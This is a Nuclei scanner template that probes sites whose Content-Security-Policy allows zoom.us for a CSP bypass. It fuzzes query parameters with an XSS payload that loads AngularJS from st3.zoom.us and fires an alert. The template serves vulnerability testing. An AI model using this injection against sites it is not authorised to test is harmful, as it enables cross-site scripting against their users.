id: zoom-st3-csp-bypass

info:
  name: Content-Security-Policy Bypass - Zoom ST3
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,zoom-st3,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "zoom.us"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: zoom_st3_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://st3.zoom.us/static/6.2.7600/js/lib/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "zoom_st3_csp_xss == true"
# digest: 4b0a00483046022100c51d00d7a0872c3c1106caf2d3ad6425a99f96bab928b8d19ba5cc316476190d022100d75fe20ea38d16cce230f833a7ffd8090bc571e7e1b5a0c439e993a4629a51c5:922c64590222798bb761d5b6d8e72950